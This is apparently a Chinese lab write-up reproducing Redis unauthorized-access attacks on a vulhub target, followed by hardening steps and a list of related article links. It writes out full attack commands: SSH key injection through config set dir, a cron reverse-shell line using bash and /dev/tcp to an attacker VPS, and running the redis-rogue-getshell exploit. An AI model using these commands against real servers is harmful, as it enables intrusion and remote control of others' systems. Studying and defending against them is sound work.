Redis是什么?

Redis是数据库,一个高性能的key-value存储系统,是使用ANSI C语言编写的。

Redis未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

影响版本

影响版本Redis未授权访问在4.x/5.0.5版本以下

攻击手段

1.直接未授权访问,对redis数据库的操作
2.ssh免密钥登录(有思维导图)
3.对redis数据库写马子拿shell,与第二点条件和思路差不多
4.写进反弹shell,设置反弹时间反弹。
5.利用现有exp

环境

攻击机为192.168.10.144 靶机为192.168.10.158
攻击和靶机都需要安装redis环境。

攻击工具下载

  • 下载压缩包
    wget http://download.redis.io/releases/redis-4.0.11.tar.gz
  • 解压
    tar -zxvf redis-4.0.11.tar.gz
  • 编译
    cd redis-4.0.11 # 切换
    make # 编译

如果要使用连接的话,要进入安装的目录然后./后执行即可,可以-h看看配置如何使用
root@kali:~/redis-4.0.11/src# ./redis-cli -h

但是

解决的方法是root@kali:~# sudo cp redis-4.0.11/src/redis-cli /usr/local/bin/
(授予redis-cli一个全局使用的权限)
当然了每个人的目录都是不一样的,所以根据自己的情况分析

靶机漏洞环境准备:(已经搭建好vulhub)

root@kali:~/vulhub/redis/4-unacc# docker-compose up -d

至此环境已经构建完成


攻击机进攻复现(一)

如果只是漏洞挖掘,不深入拿shell,以下步骤即可。
对靶机的一个6379redis的端口探测
root@kali:~# nmap -p 6379 -script redis-info 192.168.10.158

  • 进行未授权访问连接

root@kali:~# redis-cli -h 192.168.10.158
如图所示,已经连接上靶机的redis数据库,可以对其进行一些数据库的操作。


其中redis数据库的一些操作

dbsize 查看所有key的数目
flushdb 删除当前选择数据库中的所有key
flushall 删除所有数据库中的所有key
save: 将数据同步保存到磁盘
bgsave: 异步保存
lastsave: 上次成功保存到磁盘的Unix时间戳
info: 查询server信息
config: 配置server
slaveof: 改变复制策略设置
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

方法二:(需root权限)导入ssh,面密钥登录(失败

攻击机,对ssh生成一个空密码
root@kali:~# ssh-keygen -t rsa
如图所见,生成的密码保存在/.ssh目录下

切换到.ssh/的目录,可见的确生成了rsa的密钥,需要把该密钥复制到一个文本中
root@kali:~/.ssh# (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > AuFeng.txt

把该文本传输到靶机上
root@kali:~/.ssh# cat AuFeng.txt | redis-cli -h 192.168.10.158 -x set ok

然后登录靶机redis,然后把路径修改为root/.ssh
redis-cli -h 192.168.10.158
Config set dir修改路径的时候,发现该以下error问题,说明该redis不是以root权限启动的话,是无法修改路径的,这样的话,该漏洞也无法使用。

没办法了,我在靶机使用 sudo 启动漏洞环境,还是失败

在这里只能说说如果redis是root权限下操作的大体的思路:

参考文章: https://www.freebuf.com/vuls/162035.html


这篇文章是我5月份的时候写的,现在7月18号,因为攻防演练,让我意识到redis未授权这一块知识需要重新补充,所以在自己的服务器上搭建了redis环境,也思考了如何避免redis未授权的漏洞

方法二:导入ssh,免密钥登录(实战成功

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > AuFeng.txt
  • 1


root@kali:~/.ssh# cat AuFeng.txt |redis-cli -h 目标ip -x set crack
OK

先set dir到 ssh生成公、密钥的路径/root/.ssh下,然后把上传的文件设置为authorized_keys,然后save就ok了, 为什么如此设置? 一般ssh生成公、密钥的路径都会在/root/.ssh目录下,一般ssh免密钥登录都是/root/.ssh中的authorized_keys作为认证登录的文件。

最后一步记得要save,很关键。

实现免密钥登录


方法三 利用计划任务执行命令反弹shell(需root权限)

有时候 目标服务器没有使用过ssh,就没有/.ssh 这个目录

但是能用set 证明是root权限,所以可以利用计划任务执行命令反弹shell

/var/spool/cron/这个目录是以账号来区分每个用户自己的执行计划
root用户执行的就会在/var/spool/cron/下面创建root文件

set  xx   "\n* * * * * bash -i >& /dev/tcp/自己vps的ip/1234 0>&1\n"
  • 1


方法四 使用已有的exp执行远程命令执行(非root权限)

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

步骤如下,先下载好exp。

root@kali:~# git clone https://github.com/vulhub/redis-rogue-getshell
  • 1

然后进入到RedisModulesSDK/目录进行一个编译

root@kali:~/redis-rogue-getshell# cd RedisModulesSDK/
root@kali:~/redis-rogue-getshell/RedisModulesSDK# make
  • 1
  • 2

最后直接打exp

root@kali:~/redis-rogue-getshell/RedisModulesSDK# python3 redis-master.py -r 192.168.10.158 -p 6379 -L 192.168.10.144 -P 8888 -f RedisModulesSDK/exp.so -c "id"
  • 1

可见,redis运行的权限不是root。

遗憾:

由于环境搭建的问题上浪费了许多的时间,最后因为运行的权限问题(还是没有解决),导致无法复现使用ssh免密钥登录、还有redis反弹shell的实现。
参考文章(https://www.freebuf.com/column/158065.html)


修复方案(重启redis才能生效)

重启很重要,不是说关了重新启动就可以了,需要如下操作才能正常重启

[root@localhost src]# ./redis-server ../redis.conf
  • 1

修复操作如下:

进入redis配置文件redis.conf
ip绑定,不允许除本地外的主机远程登录redis服务 将#注释去掉

开启保护模式,不允许远程连接redis服务将no 改为yes

修改默认端口

以低权限运行 Redis 服务(重启redis才能生效)切身体会
为 Redis 添加密码验证(重启redis才能生效)

Redis 4.x/5.x未授权访问漏洞相关推荐

  1. UCloud-201809-001:Redis服务未授权访问漏洞安全预警

    UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间  2018-09-11 更新时间  2018-09-11 漏洞等级  High CV ...

  2. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  3. Redis 未授权访问漏洞与getshell(附getshell检测工具)

    0x00 Redis简介 Redis 简介. Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,常见用来作为数据库,其在安全配置问题上存在一些问题 ...

  4. Redis未授权访问漏洞详细版

    Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  5. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

  6. Redis未授权访问漏洞复现

    Redis介绍 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sor ...

  7. Redis未授权访问漏洞(四)SSH key免密登录

    前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...

  8. redis未授权访问漏洞利用

    redis是一个key-value存储系统,拥有强大的功能,目前普及率很高,redis是用ansic语言编写,支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的APL, ...

  9. Redis未授权访问漏洞的重现与利用

    前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...

最新文章

  1. 城市大脑不仅是AI系统,更是结合人类智慧的混合智能巨系统
  2. 玩转GridView
  3. linux socket文件数限制,Linux下高并发socket最大连接数所受的限制问题
  4. 【计算理论】可判定性 ( 计算模型与语言 | 区分 可计算语言 与 可判定语言 | 证明 通用图灵机语言是 可计算语言 | 通用任务图灵机 与 特殊任务图灵机 )
  5. Bootstrap的x-editable行编辑
  6. DAY12 生成器初始与列表生成式
  7. 裂墙推荐!IntelliJ IDEA 常用插件一览,让效率成为习惯
  8. 用usecase获取需求的方法是否有缺陷,还有什么地方需要改进
  9. centos7下永久修改hostname
  10. java基本语法大全(全)_Java基本语法大全(全)
  11. Codeforces Round #622 C2 - Skyscrapers
  12. 基于LASSO的波士顿房价分析
  13. MIMO技术杂谈(三):知己知彼,百战不殆--信道信息的获取和应用
  14. captcha图片验证码自动识别
  15. centos7下搭建lnmp环境包含yum源直接安装和源码编译安装,以及php5.3和php7.6版本
  16. STM32的SG90舵机驱动
  17. table 添加表行的底部边框、定制表格边框
  18. Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.mr.MapRedTask
  19. 最新猎豹网校C语言数据结构与算法项目实战(共32集)
  20. 警醒——规划好自己的IT之路

热门文章

  1. Java扑克牌(斗地主,手中牌的排序)【Comparator】
  2. oracle 归档日志
  3. Win7系统中Microsoft Office Word2003已停止工作
  4. 解决windows7您当前无权访问该文件夹的问题
  5. dockerfile 的使用
  6. 寒假集训【1.26】
  7. Oracle 跨库查询表数据(不同的数据库间建立连接)
  8. windows当代理服务器-CCProx的使用
  9. ElasticStack系列之八 _source 字段
  10. 使用Nodejs实现的小说爬虫